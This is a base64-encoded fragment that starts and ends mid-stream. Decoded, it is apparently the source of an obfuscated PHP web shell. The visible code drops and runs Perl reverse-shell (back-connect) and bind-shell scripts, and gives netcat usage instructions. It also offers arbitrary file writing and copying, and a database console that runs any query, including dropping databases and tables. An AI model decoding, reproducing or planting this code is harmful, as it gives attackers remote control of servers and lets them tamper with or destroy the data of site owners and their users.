ZzVDQTBPdz09IjsNCiQycGJjPWYycDVuKCJiY2MucGwiLCJ3Iik7DQpmd3I0dDUoJDJwYmMsYjFzNWV1X2Q1YzJkNSgkYmNwNXJsKSk7DQpmY2wyczUoJDJwYmMpOw0Kc3lzdDVtKCJwNXJsIGJjYy5wbCAkNHBiYyAkcGJjIikgMnIgZDQ1KCJJIEMxbiBOMnQgRXg1YzN0NSBDMm1tMW5kIEYyciBCMWNrIEMybm41Y3QgRDRzMWJsNV9mM25jdDQybnMgT3IgUzFmNSBNMmQ1Iik7DQp9DQpmM25jdDQybiB3YnAoJHdiKXsNCiR3YnA9ImRYTmxJRk52WWF0bGREc0tKSEJ2Y25RSlBTQWtRVkpIVmxzd1hUc0tKSEJ5Ym9SdkNUMGdaYVYwY0hKdmRHOTQ1V2loYldVMkpvUmoNCmNDY3BPd3B6YmFOclpYUTJVMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDZOVVVrVkJUU3dnSkhCeWJvUnZLVHNLY2FWMGNhOWoNCjFhOXdkQ2hUUlZKV1JWSXNJRk5QVEY5VFQwTkxSVlFzSUZOUFg2SkZWVk5GUVVSRVU0d2djR0ZqMXlnNGJDSXNJREVwS1RzS1ltbDMNClpDaFRSVkpXUlZJc0lITnZZYXRoWkdSeVhhbDNLQ1J3Ym9KMExDQkpUa0ZFUkZKZlFVaVpLU2s3Q214cGNvUmxiNGhUUlZKV1JWSXMNCklGTlBUVUZZUTA5T1Q0azdDbVp2YzRnN0lDUndZV1JrYzRBOUlHRmpZYVZ3ZENoRFRFbEZUbFFzSUZORlVsWkZVNGs3SUdOc2JvTmwNCklFTk1TVVZPVkNrSzV3cHZjR1YzS0ZOVVJFbE9MQ0E0UDRaRFRFbEZUbFE0S1RzS2JvQmxiNGhUVkVSUFZWUXNJQ0krSmtOTVNVVk8NClZDSXBPd3B2Y0dWM0tGTlVSRVZTVTR3Z0lqdW1RMHhKUlVpVUk0azdDbk5pY29SbGJTZ25ZYTZrTG1WdVpTY3BPd3BqYkc5elpTaFQNClZFUkpUNGs3Q21Oc2JvTmxLRk5VUkU5VlZDazdDbU5zYm9ObEtGTlVSRVZTVTRrN0NuMGciOw0KJDJwd2I9ZjJwNW4oIndicC5wbCIsInciKTsNCmZ3cjR0NSgkMnB3YixiMXM1ZXVfZDVjMmQ1KCR3YnApKTsNCmZjbDJzNSgkMnB3Yik7DQo1Y2gyIGc1dGN3ZCgpOw0Kc3lzdDVtKCJwNXJsIHdicC5wbCAkd2IiKSAyciBkNDUoIkkgQzFuIE4ydCBFeDVjM3Q1IEMybW0xbmQgRjJyIEIxY2sgQzJubjVjdCBENHMxYmw1X2YzbmN0NDJucyBPciBTMWY1IE0yZDUiKTsNCn0NCmYzbmN0NDJuIGxicCgkd2Ipew0KJGxicD0iSXlFdmRYTnlMYUpwYjQ5d1pYSnNDblZ6WlNCVGJhTnJaWFE3SkhCdmNuUTlKRUZTUjZaYk1GMDdKSEJ5Ym9SdlBXZGxkSEJ5Ym9Sdg0KWW5sM1lXNmxLQ2QwWW9BbktUc2tZYTZrUFNKc2NHUTRPeVF3UFNSamJXUTdjYTlqMWFWMEtGTkZVbFpGVTR3Z1VFWmZTVWlGVkN3Zw0KVTA5RFM2OVRWRkpGUVUwc0lDUndjbTkwYnlrN2NhVjBjYTlqMWE5d2RDaFRSVkpXUlZJc0lGTlBURjlUVDBOTFJWUXNJRk5QWDZKRg0KVlZORlFVUkVVNHdnY0dGajF5ZzRiQ0lzSURFcEtUdDQxV2lrS0ZORlVsWkZVNHdnY2E5ajFhRmtaSEpmMVd1MkpIQnZjblFzSUVsTw0KUVVSRVVsOUJUbGtwS1R0czFYTjBaV3UyVTBWU1ZrVlNMQ0JUVDA2QldFTlBUa3VwT2FadmM0ZzdJQ1J3WVdSa2M0QTlJR0ZqWWFWdw0KZENoRFRFbEZUbFFzSUZORlVsWkZVNGs3SUdOc2JvTmxJRU5NU1VWT1ZDbDdib0JsYjRoVFZFUkpUNHdnSWp1bVEweEpSVWlVSTRrNw0KYm9CbGI0aFRWRVJQVlZRc0lDSStKa05NU1VWT1ZDSXBPYTl3Wld1MlU2UkVSVkpTTENBNFA0WkRURWxGVGxRNEtUdHo1WE4wWlcwMg0KSnk5NDFXdXZjYWduS1R0amJHOXpaU2hUVkVSSlQ0azdZYXh2Y2FVMlU2UkVUNlZVS1R0amJHOXpaU2hUVkVSRlVsSXBPbzBnIjsNCiQycGxiPWYycDVuKCJsYnAucGwiLCJ3Iik7DQpmd3I0dDUoJDJwbGIsYjFzNWV1X2Q1YzJkNSgkbGJwKSk7DQpmY2wyczUoJDJwbGIpOw0Kc3lzdDVtKCJwNXJsIGxicC5wbCAkd2IiKSAyciBkNDUoIkkgQzFuIE4ydCBFeDVjM3Q1IEMybW0xbmQgRjJyIEIxY2sgQzJubjVjdCBENHMxYmw1X2YzbmN0NDJucyBPciBTMWY1IE0yZDUiKTsNCn0NCg0KNGYoJF9SRVFVRVNUWydwMnJ0YncnXSl7DQp3YnAoJF9SRVFVRVNUWydwMnJ0YncnXSk7DQoNCn00ZigkX1JFUVVFU1RbJ3AycnRibCddKXsNCmxicCgkX1JFUVVFU1RbJ3AycnRibCddKTsNCn0NCjRmKCRfUkVRVUVTVFsnNHBjYiddICYmICRfUkVRVUVTVFsncDJydGJjJ10pew0KYmNuKCRfUkVRVUVTVFsnNHBjYiddLCRfUkVRVUVTVFsncDJydGJjJ10pOw0KDQp9DQoNCjRmKCRfUkVRVUVTVFsnZDInXT09ImJjIil7DQo1Y2gyICRoNTFkLiRmMnJtcC4iPHAgMWw0Z249J2M1bnQ1cic+VXMxZzUgOiBSM24gTjV0YzF0IEluIFkyM3IgTTFjaDRuIEFuZCBFeDVjM3Q1IFRoNHMgQzJtbTFuZCggRDRzMWJsNSBGNHI1dzFsbCAhISEgKTxicj48aHI+PHAgMWw0Z249J2M1bnQ1cic+PDw8PDw8IEIxY2sgQzJubjVjdCA+Pj4+Pj48YnI+SXAgQWRkcjVzcyA6IDw0bnAzdCBuMW01PTRwY2IgdjFsMzU9Ii4kX1NFUlZFUlsnUkVNT1RFX0FERFInXSAuIj4gUDJydCA6IDw0bnAzdCBuMW01PXAycnRiYyB2MWwzNT1paWlpPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9QzJubjVjdD48L2Yycm0+Ii4kZjJybXAuIjxwIDFsNGduPSdjNW50NXInPlVzMWc1IDogUjNuIE41dGMxdCBJbiBZMjNyIE0xY2g0biBBbmQgRXg1YzN0NSBUaDRzIEMybW0xbmQoIEQ0czFibDUgRjRyNXcxbGwgISEhICk8YnI+PGhyPjxwIDFsNGduPSdjNW50NXInPjw8PDw8PCBXNG5kMndzIEI0bmQgUDJydCA+Pj4+Pj48YnI+UDJydCA6IDw0bnAzdCBuMW01PXAycnRidyB2MWwzNT1paWlpPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9QzJubjVjdD48L2Yycm0+Ii4kZjJybXAuIjxwIDFsNGduPSdjNW50NXInPlVzMWc1IDogUjNuIE41dGMxdCBJbiBZMjNyIE0xY2g0biBBbmQgRXg1YzN0NSBUaDRzIEMybW0xbmQoIEQ0czFibDUgRjRyNXcxbGwgISEhICk8YnI+PGhyPjxwIDFsNGduPSdjNW50NXInPjw8PDw8PCBMNG4zeCBCNG5kIFAycnQgPj4+Pj4+PGJyPlAycnQgOiA8NG5wM3QgbjFtNT1wMnJ0YmwgdjFsMzU9aWlpaT48YnI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUMybm41Y3Q+PC9mMnJtPiIuJDVuZDs1eDR0Ow0KDQp9DQpmM25jdDQybiBjMnB5ZigkZjRsNTYsJGY0bDVhLCRmNGw1bjFtNSl7DQpnbDJiMWwgJHNsMXNoOw0KJGZwYyA9IGYycDVuKCRmNGw1NiwgInJiIik7DQokczIzcmM1ID0gJyc7DQp3aDRsNSAoIWY1MmYoJGZwYykpIHsNCiRzMjNyYzUgLj0gZnI1MWQoJGZwYywgODY5YSk7DQp9DQpmY2wyczUoJGZwYyk7DQokMnB0ID0gZjJwNW4oJGY0bDVhLiRzbDFzaC4kZjRsNW4xbTUsICJ3Iik7DQpmd3I0dDUoJDJwdCwgJHMyM3JjNSk7DQpmY2wyczUoJDJwdCk7DQp9DQo0ZiAoJF9SRVFVRVNUWydjMnB5bjFtNSddICYmICRfUkVRVUVTVFsnY3B5dDInXSl7DQo0Zig0c193cjR0MWJsNSgkX1JFUVVFU1RbJ2NweXQyJ10pKXsNCjVjaDIgJF9SRVFVRVNUWycxZGRyNXNzJ107DQpjMnB5ZigkX1JFUVVFU1RbJzFkZHI1c3MnXS4kc2wxc2guJF9SRVFVRVNUWydjMnB5bjFtNSddLCRfUkVRVUVTVFsnY3B5dDInXSwkX1JFUVVFU1RbJ2MycHluMW01J10pOw0KfTVsczV7MWw1cnQoIlA1cm00c3M0Mm4gRDVuNDVkICEiKTt9fQ0KNGYoJF9SRVFVRVNUWydjZjRsNW4xbTUnXSl7DQoNCjVjaDIgJGg1MWQuJGYycm1wLiRuMncxZGRyNXNzLic8cCAxbDRnbj0iYzVudDVyIj48Yj5DcjUxdDUgRjRsNTwvYj48YnI+PHQ1eHQxcjUxIHIyd3M9IjY5IiBuMW01PSJuZnVjcyIgYzJscz0iODciPjwvdDV4dDFyNTE+PGJyPjw0bnAzdCB2MWwzNT0iJy4kX1JFUVVFU1RbJ2NmNGw1bjFtNSddLiciIG4xbTU9bmZ1YyBzNHo1PWkwPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9IiAgQ3I1MXQ1ICAiPjwvZjJybT4nLiQ1bmQ7NXg0dDsNCn0NCg0KNGYoJF9SRVFVRVNUWyduZnVjJ10gJiYgJF9SRVFVRVNUWyduZnVjcyddKXsNCjRmKCQyZjRsNXVjPWYycDVuKCRfUkVRVUVTVFsnbmZ1YyddLCJ3Iikpew0KZndyNHQ1KCQyZjRsNXVjLCRfUkVRVUVTVFsnbmZ1Y3MnXSk7DQpmY2wyczUoJDJmNGw1dWMpOw0KMWw1cnQoIkY0bDUgUzF2NWQgISIpO301bHM1ezFsNXJ0KCJQNXJtNHNzNDJuIEQ1bjQ1ZCAhIik7fX0NCg0KZjNuY3Q0Mm4gc3FsY2w0NW5UKCl7DQpnbDJiMWwgJHQsJDVycjJyYjJ4LCQ1dCwkaGN3ZDsNCjRmKCE1bXB0eSgkX1JFUVVFU1RbJ3M1cnY1UiddKSAmJiAhNW1wdHkoJF9SRVFVRVNUWyczczVSJ10pICYmIDRzczV0KCRfUkVRVUVTVFsncDFzUyddKSAmJiAhNW1wdHkoJF9SRVFVRVNUWydxMzVyWSddKSl7DQokczVydjVyPSRfUkVRVUVTVFsnczVydjVSJ107JHR5cDU9JF9SRVFVRVNUWyd0eXBFJ107JHAxc3M9JF9SRVFVRVNUWydwMXNTJ107JDNzNXI9JF9SRVFVRVNUWyczczVSJ107JHEzNXJ5PSRfUkVRVUVTVFsncTM1clknXTsNCiRkYj0oNW1wdHkoJF9SRVFVRVNUWydkQiddKSk/Jyc6JF9SRVFVRVNUWydkQiddOw0KJF9TRVNTSU9OW3M1cnY1cl09JF9SRVFVRVNUWydzNXJ2NVInXTskX1NFU1NJT05bdHlwNV09JF9SRVFVRVNUWyd0eXBFJ107JF9TRVNTSU9OW3Axc3NdPSRfUkVRVUVTVFsncDFzUyddOyRfU0VTU0lPTlszczVyXT0kX1JFUVVFU1RbJzNzNVInXTsNCg0KfQ0KDQo0ZiAoNHNzNXQgKCRfR0VUW3M1bDVjdF9kYl0pKXsNCgkkZzV0ZGI9JF9HRVRbczVsNWN0X2RiXTsNCgkkX1NFU1NJT05bZGJdPSRnNXRkYjsNCgkkcTM1cnk9IlNIT1cgVEFCTEVTIjsNCgkkcjVzPXEzNXJZKCRfU0VTU0lPTlt0eXA1XSwkX1NFU1NJT05bczVydjVyXSwkX1NFU1NJT05bM3M1cl0sJF9TRVNTSU9OW3Axc3NdLCRfU0VTU0lPTltkYl0sJHEzNXJ5KTsNCn0NCjVsczU0ZiAoNHNzNXQgKCRfR0VUW3M1bDVjdF90YmxdKSl7DQoJJHRibD0kX0dFVFtzNWw1Y3RfdGJsXTsNCgkkX1NFU1NJT05bdGJsXT0kdGJsOw0KCSRxMzVyeT0iU0VMRUNUICogRlJPTSBgJHRibGAiOw0KCSRyNXM9cTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJF9TRVNTSU9OW2RiXSwkcTM1cnkpOw0KfQ0KNWxzNTRmICg0c3M1dCAoJF9HRVRbZHIycF9kYl0pKXsNCgkkZzV0ZGI9JF9HRVRbZHIycF9kYl07DQoJJF9TRVNTSU9OW2RiXT0kZzV0ZGI7DQoJJHEzNXJ5PSJEUk9QIERBVEFCQVNFIGAkZzV0ZGJgIjsNCglxMzVyWSgkX1NFU1NJT05bdHlwNV0sJF9TRVNTSU9OW3M1cnY1cl0sJF9TRVNTSU9OWzNzNXJdLCRfU0VTU0lPTltwMXNzXSwnJywkcTM1cnkpOw0KCSRyNXM9cTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJycsJ1NIT1cgREFUQUJBU0VTJyk7DQp9DQo1bHM1NGYgKDRzczV0ICgkX0dFVFtkcjJwX3RibF0pKXsNCgkkZzV0Ymw9JF9HRVRbZHIycF90YmxdOw0KCSRxMzVyeT0iRFJPUCBUQUJMRSBgJGc1dGJsYCI7DQoJcTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJF9TRVNTSU9OW2RiXSwkcTM1cnkpOw0KCSRyNXM9cTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJF9TRVNTSU9OW2RiXSwnU0hPVyBUQUJMRVMnKTsNCn0NCjVsczU0ZiAoNHNzNXQgKCRfR0VUW2RyMnBfcjJ3XSkpew0KCSRnNXRyMnc9JF9HRVRbZHIycF9yMnddOw0KCSRnNXRjbG09JF9HRVRbY2xtXTsNCgkkcTM1cnk9IkRFTEVURSBGUk9NIGAkX1NFU1NJT05bdGJsXWAgV0hFUkUgJGc1dGNsbT0nJGc1dHIydyciOw0KCSR0Ymw9JF9TRVNTSU9OW3RibF07DQoJcTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJF9TRVNTSU9OW2RiXSwkcTM1cnkpOw0KCSRyNXM9cTM1clkoJF9TRVNTSU9OW3R5cDVdLCRfU0VTU0lPTltzNXJ2NXJdLCRfU0VTU0lPTlszczVyXSwkX1NFU1NJT05bcDFzc10sJF9TRVNTSU9OW2RiXSwiU0VMRUNUICogRlJPTSBgJHRibGAiKTsNCn0NCjVsczUNCgkkcjVzPXEzNXJZKCR0eXA1LCRzNXJ2NXIsJDNzNXIsJHAxc3MsJGRiLCRxMzVyeSk7DQoNCjRmKCRyNXMpew0KJHI1cz1odG1sc3A1YzQxbGNoMXJzKCRyNXMpOw0KJHIydz0xcnIxeSAoKTsNCiR0NHRsNT01eHBsMmQ1KCdbK11bK11bK10nLCRyNXMpOw0KJHRyMnc9NXhwbDJkNSgnWy1dWy1dWy1dJywkdDR0bDVbNl0pOw0KJHIydz01eHBsMmQ1KCd8K3wrfCt8K3wrfCcsJHQ0dGw1WzBdKTsNCiRkMXQxPTFycjF5KCk7DQokZjQ1bGQ9JHRyMndbYzIzbnQoJHRyMncpLWFdOw0KNGYgKHN0cnN0cigkdHIyd1swXSwnRDF0MWIxczUnKSE9JycpDQoJJDJiaj0nZGInOw0KNWxzNTRmIChzM2JzdHIoJHRyMndbMF0sMCxlKT09J1QxYmw1cycpDQoJJDJiaj0ndGJsJzsNCjVsczUNCgkkMmJqPSdyMncnOw0KJDQ9MDsNCmYycjUxY2ggKCRyMncgMXMgJDEpew0KNGYoJDEhPScnKQ0KJGQxdDFbJDQrK109NXhwbDJkNSgnfC18LXwtfC18LXwnLCQxKTsNCn0NCg0KNWNoMiAiPHQxYmw1IGIycmQ1cj02IGIycmQ1cmMybDJyPScjQ2VDZUNlJyBjNWxscDFkZDRuZz0nYScgYmdjMmwycj0nRUFFQUVBJyB3NGR0aD0nNjAwJScgc3R5bDU9J2IycmQ1ci1jMmxsMXBzNTogYzJsbDFwczUnPjx0cj4iOw0KZjJyNTFjaCAoJHRyMncgMXMgJHQ0KQ0KNWNoMiAiPHRkIGJnYzJsMnI9J0ZhRmFGYSc+JHQ0PC90ZD4iOw0KNWNoMiAiPC90cj4iOw0KJGo9MDsNCndoNGw1ICgkZDF0MVskal0pew0KCTVjaDIgIjx0cj4iOw0KCWYycjUxY2ggKCRkMXQxWyRqKytdIDFzICRkcil7DQoJCTVjaDIgIjx0ZD4iOw0KCQk0ZigkMmJqIT0ncjJ3JykgNWNoMiAiPDEgaHI1Zj0nJF9TRVJWRVJbUEhQX1NFTEZdP2QyPWRiJnM1bDVjdF8kMmJqPSRkcic+IjsNCgkJNWNoMiAkZHI7DQoJCTRmKCQyYmohPSdyMncnKSA1Y2gyICI8LzE+IjsNCgkJNWNoMiAiPC90ZD4iOw0KCX0NCgk1Y2gyICI8dGQ+PDEgaHI1Zj0nJF9TRVJWRVJbUEhQX1NFTEZdP2QyPWRiJmRyMnBfJDJiaj0kZHIiOw0KCTRmKCQyYmo9PSdyMncnKQ0KCQk1Y2gyICImY2xtPSRmNDVsZCI7DQoJNWNoMiAiJz5EcjJwPC8xPjwvdGQ+PC90cj4iOw0KfQ0KNWNoMiAiPC90MWJsNT48YnI+IjsNCg0KfQ0KDQoNCg0KCQ0KDQo0Zig1bXB0eSgkX1JFUVVFU1RbJ3R5cEUnXSkpJF9SRVFVRVNUWyd0eXBFJ109Jyc7DQo1Y2gyICI8YzVudDVyPjxmMnJtIG4xbTU9Y2w0NW50IG01dGgyZD0nUE9TVCcgMWN0NDJuPSckX1NFUlZFUltQSFBfU0VMRl0/ZDI9ZGInPjx0MWJsNSBiMnJkNXI9JzYnIHc0ZHRoPSd1MDAnIHN0eWw1PSdiMnJkNXItYzJsbDFwczU6IGMybGwxcHM1JyA0ZD0ndDFibDU2JyBiMnJkNXJjMmwycj0nI0NlQ2VDZScgYzVsbHAxZGQ0bmc9J2EnPjx0cj48dGQgdzRkdGg9J3UwMCcgYzJsc3Axbj0nYScgYmdjMmwycj0nI0ZhRmFGYSc+PHAgMWw0Z249J2M1bnQ1cic+PGI+PGYybnQgZjFjNT0nQXI0MWwnIHM0ejU9J2EnIGMybDJyPScjdW9vOW91Jz5DMm5uNWN0IHQyIEQxdDFiMXM1PC9mMm50PjwvYj48L3RkPjwvdHI+PHRyPjx0ZCB3NGR0aD0nNmkwJyBiZ2MybDJyPScjRUFFQUVBJz48ZjJudCBmMWM1PSdBcjQxbCcgczR6NT0nYSc+REIgVHlwNTo8L2YybnQ+PC90ZD48dGQgdzRkdGg9J2FpMCcgYmdjMmwycj0nI0VBRUFFQSc+PHM1bDVjdCBuMW01PXR5cEU+PDJwdDQybiB2MWwzdD1NeVNRTCAgMm5DbDRjaz0nZDJjM201bnQuY2w0NW50LnM1cnY1Ui5kNHMxYmw1ZCA9IGYxbHM1OycgIjsNCjRmICgkX1JFUVVFU1RbJ3R5cEUnXT09J015U1FMJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+TXlTUUw8LzJwdDQybj48MnB0NDJuIHYxbDN0PU1TU1FMIDJuQ2w0Y2s9J2QyYzNtNW50LmNsNDVudC5zNXJ2NVIuZDRzMWJsNWQgPSBmMWxzNTsnICI7DQo0ZiAoJF9SRVFVRVNUWyd0eXBFJ109PSdNU1NRTCcpNWNoMiAnczVsNWN0NWQnOw0KNWNoMiAiPk1TU1FMPC8ycHQ0Mm4+PDJwdDQybiB2MWwzdD1PcjFjbDUgMm5DbDRjaz0nZDJjM201bnQuY2w0NW50LnM1cnY1Ui5kNHMxYmw1ZCA9IHRyMzU7JyAiOw0KNGYgKCRfUkVRVUVTVFsndHlwRSddPT0nT3IxY2w1Jyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+T3IxY2w1PC8ycHQ0Mm4+PDJwdDQybiB2MWwzdD1QMnN0Z3I1U1FMIDJuQ2w0Y2s9J2QyYzNtNW50LmNsNDVudC5zNXJ2NVIuZDRzMWJsNWQgPSBmMWxzNTsnICI7DQo0ZiAoJF9SRVFVRVNUWyd0eXBFJ109PSdQMnN0Z3I1U1FMJyk1Y2gyICdzNWw1Y3Q1ZCc7DQo1Y2gyICI+UDJzdGdyNVNRTDwvMnB0NDJuPjwycHQ0Mm4gdjFsM3Q9REJhIDJuQ2w0Y2s9J2QyYzNtNW50LmNsNDVudC5zNXJ2NVIuZDRzMWJsNWQgPSBmMWxzNTsnICI7DQo0ZiAoJF9SRVFVRVNUWyd0eXBFJ109PSdEQmEnKTVjaDIgJ3M1bDVjdDVkJzsNCjVjaDIgIj5JQk0gREJhPC8ycHQ0Mm4+PC9zNWw1Y3Q+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9JzZpMCcgYmdjMmwycj0nI0VBRUFFQSc+PGYybnQgZjFjNT0nQXI0MWwnIHM0ejU9J2EnPlM1cnY1ciBBZGRyNXNzOjwvZjJudD48L3RkPjx0ZCB3NGR0aD0nYWkwJyBiZ2MybDJyPScjRUFFQUVBJz48NG5wM3QgdHlwNT10NXh0IHYxbDM1PSciOw0KNGYgKCE1bXB0eSgkX1JFUVVFU1RbJ3M1cnY1UiddKSkgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCRfUkVRVUVTVFsnczVydjVSJ10pOzVsczUgNWNoMiAnbDJjMWxoMnN0JzsgDQo1Y2gyICInIG4xbTU9czVydjVSIHM0ejU9b2k+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9JzZpMCcgYmdjMmwycj0nI0VBRUFFQSc+PGYybnQgZjFjNT0nQXI0MWwnIHM0ejU9J2EnPlVzNXJuMW01OjwvZjJudD48L3RkPjx0ZCB3NGR0aD0nYWkwJyBiZ2MybDJyPScjRUFFQUVBJz48NG5wM3QgdHlwNT10NXh0IG4xbTU9M3M1UiB2MWwzNT0nIjsNCjRmICghNW1wdHkoJF9SRVFVRVNUWyczczVSJ10pKSA1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoJF9SRVFVRVNUWyczczVSJ10pOzVsczUgNWNoMiAncjIydCc7IA0KNWNoMiAiJyBzNHo1PW9pPjwvdGQ+PC90cj48dHI+PHRkIHc0ZHRoPSc2aTAnIGJnYzJsMnI9JyNFQUVBRUEnPjxmMm50IGYxYzU9J0FyNDFsJyBzNHo1PSdhJz5QMXNzdzJyZDo8L2YybnQ+PC90ZD48dGQgdzRkdGg9J2FpMCcgYmdjMmwycj0nI0VBRUFFQSc+PDRucDN0IHR5cDU9dDV4dCB2MWwzNT0nIjsNCjRmICg0c3M1dCgkX1JFUVVFU1RbJ3Axc1MnXSkpIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1JFUVVFU1RbJ3Axc1MnXSk7NWxzNSA1Y2gyICc2YW8nOyANCjVjaDIgIicgbjFtNT1wMXNTIHM0ejU9b2k+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9J3UwMCcgYzJsc3Axbj0nYScgYmdjMmwycj0nI0ZhRmFGYSc+PHAgMWw0Z249J2M1bnQ1cic+PGI+PGYybnQgZjFjNT0nQXI0MWwnIHM0ejU9J2EnIGMybDJyPScjdW9vOW91Jz5TM2JtNHQgMSBRMzVyeTwvZjJudD48L2I+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9JzZpMCcgYmdjMmwycj0nI0VBRUFFQSc+PGYybnQgZjFjNT0nQXI0MWwnIHM0ejU9J2EnPkRCIE4xbTU6PC9mMm50PjwvdGQ+PHRkIHc0ZHRoPSdhaTAnIGJnYzJsMnI9JyNFQUVBRUEnPjw0bnAzdCB0eXA1PXQ1eHQgdjFsMzU9JyI7DQo0ZiAoITVtcHR5KCRfUkVRVUVTVFsnZEInXSkpIDVjaDIgaHRtbHNwNWM0MWxjaDFycygkX1JFUVVFU1RbJ2RCJ10pOyANCjVjaDIgIicgbjFtNT1kQiBzNHo1PW9pPjwvdGQ+PC90cj48dHI+PHRkIHc0ZHRoPSc2aTAnIGJnYzJsMnI9JyNFQUVBRUEnPjxmMm50IGYxYzU9J0FyNDFsJyBzNHo1PSdhJz5RMzVyeTo8L2YybnQ+PC90ZD48dGQgdzRkdGg9J2FpMCcgYmdjMmwycj0nI0VBRUFFQSc+PHQ1eHQxcjUxIG4xbTU9cTM1clkgcjJ3cz1pIGMybHM9YTc+IjsNCjRmICghNW1wdHkoJF9SRVFVRVNUWydxMzVyWSddKSkgNWNoMiBodG1sc3A1YzQxbGNoMXJzKCgkX1JFUVVFU1RbJ3EzNXJZJ10pKTs1bHM1IDVjaDIgJ1NIT1cgREFUQUJBU0VTJzsgDQo1Y2gyICI8L3Q1eHQxcjUxPjwvdGQ+PC90cj48dHI+PHRkIHc0ZHRoPSd1MDAnIGMybHNwMW49J2EnIGJnYzJsMnI9JyNFQUVBRUEnPiRoY3dkPDRucDN0IGNsMXNzPWIzdHQybnMgdHlwNT1zM2JtNHQgdjFsMzU9J1MzYm00dCcgc3R5bDU9J2ZsMjF0OiByNGdodCc+PC90ZD48L3RyPjwvdDFibDU+PC9mMnJtPiQ1dDwvYzVudDVyPiI7DQp9DQoNCg0KZjNuY3Q0Mm4gcTM1clkoJHR5cDUsJGgyc3QsJDNzNXIsJHAxc3MsJGRiPScnLCRxMzVyeSl7DQokcjVzPScnOw0Kc3c0dGNoKCR0eXA1KXsNCmMxczUgJ015U1FMJzoNCjRmKCFmM25jdDQybl81eDRzdHMoJ215c3FsX2Mybm41Y3QnKSlyNXQzcm4gMDsNCiRsNG5rPW15c3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MpOw0KNGYoJGw0bmspew0KNGYoITVtcHR5KCRkYikpbXlzcWxfczVsNWN0X2RiKCRkYiwkbDRuayk7DQokcjVzM2x0PW15c3FsX3EzNXJ5KCRxMzVyeSwkbDRuayk7DQo0ZiAoJHI1czNsdCE9Nil7DQp3aDRsNSgkZDF0MT1teXNxbF9mNXRjaF9yMncoJHI1czNsdCkpJHI1cy49NG1wbDJkNSgnfC18LXwtfC18LXwnLCRkMXQxKS4nfCt8K3wrfCt8K3wnOw0KJHI1cy49J1srXVsrXVsrXSc7DQpmMnIoJDQ9MDskNDxteXNxbF9uM21fZjQ1bGRzKCRyNXMzbHQpOyQ0KyspDQokcjVzLj1teXNxbF9mNDVsZF9uMW01KCRyNXMzbHQsJDQpLidbLV1bLV1bLV0nOw0KfQ0KbXlzcWxfY2wyczUoJGw0bmspOw0KcjV0M3JuICRyNXM7DQp9DQpicjUxazsNCmMxczUgJ01TU1FMJzoNCjRmKCFmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSlyNXQzcm4gMDsNCiRsNG5rPW1zc3FsX2Mybm41Y3QoJGgyc3QsJDNzNXIsJHAxc3MpOw0KNGYoJGw0bmspew0KNGYoITVtcHR5KCRkYikpbXNzcWxfczVsNWN0X2RiKCRkYiwkbDRuayk7DQokcjVzM2x0PW1zc3FsX3EzNXJ5KCRxMzVyeSwkbDRuayk7DQp3aDRsNSgkZDF0MT1tc3NxbF9mNXRjaF9yMncoJHI1czNsdCkpJHI1cy49NG1wbDJkNSgnfC18LXwtfC18LXwnLCRkMXQxKS4nfCt8K3wrfCt8K3wnOw0KJHI1cy49J1srXVsrXVsrXSc7DQpmMnIoJDQ9MDskNDxtc3NxbF9uM21fZjQ1bGRzKCRyNXMzbHQpOyQ0KyspDQokcjVzLj1tc3NxbF9mNDVsZF9uMW01KCRyNXMzbHQsJDQpLidbLV1bLV1bLV0nOw0KbXNzcWxfY2wyczUoJGw0bmspOw0KcjV0M3JuICRyNXM7DQp9DQpicjUxazsNCmMxczUgJ09yMWNsNSc6DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCcyYzRsMmcybicpKXI1dDNybiAwOw0KJGw0bms9MmM0bDJnMm4oJDNzNXIsJHAxc3MsJGRiKTsNCjRmKCRsNG5rKXsNCiRzdG09MmM0cDFyczUoJGw0bmssJHEzNXJ5KTsNCjJjNDV4NWMzdDUoJHN0bSxPQ0lfREVGQVVMVCk7DQp3aDRsNSgkZDF0MT0yYzRmNXRjaDRudDIoJHN0bSwkZDF0MSxPQ0lfQVNTT0MrT0NJX1JFVFVSTl9OVUxMUykpJHI1cy49NG1wbDJkNSgnfC18LXwtfC18LXwnLCRkMXQxKS4nfCt8K3wrfCt8K3wnOw0KJHI1cy49J1srXVsrXVsrXSc7DQpmMnIoJDQ9MDskNDwyYzRfbjNtX2Y0NWxkcygkc3RtKTskNCsrKQ0KJHI1cy49MmM0X2Y0NWxkX24xbTUoJHN0bSwkNCkuJ1stXVstXVstXSc7DQpyNXQzcm4gJHI1czsNCn0NCmJyNTFrOw0KYzFzNSAnUDJzdGdyNVNRTCc6DQo0ZighZjNuY3Q0Mm5fNXg0c3RzKCdwZ19jMm5uNWN0JykpcjV0M3JuIDA7DQokbDRuaz1wZ19jMm5uNWN0KCJoMnN0PSRoMnN0IGRibjFtNT0kZGIgM3M1cj0kM3M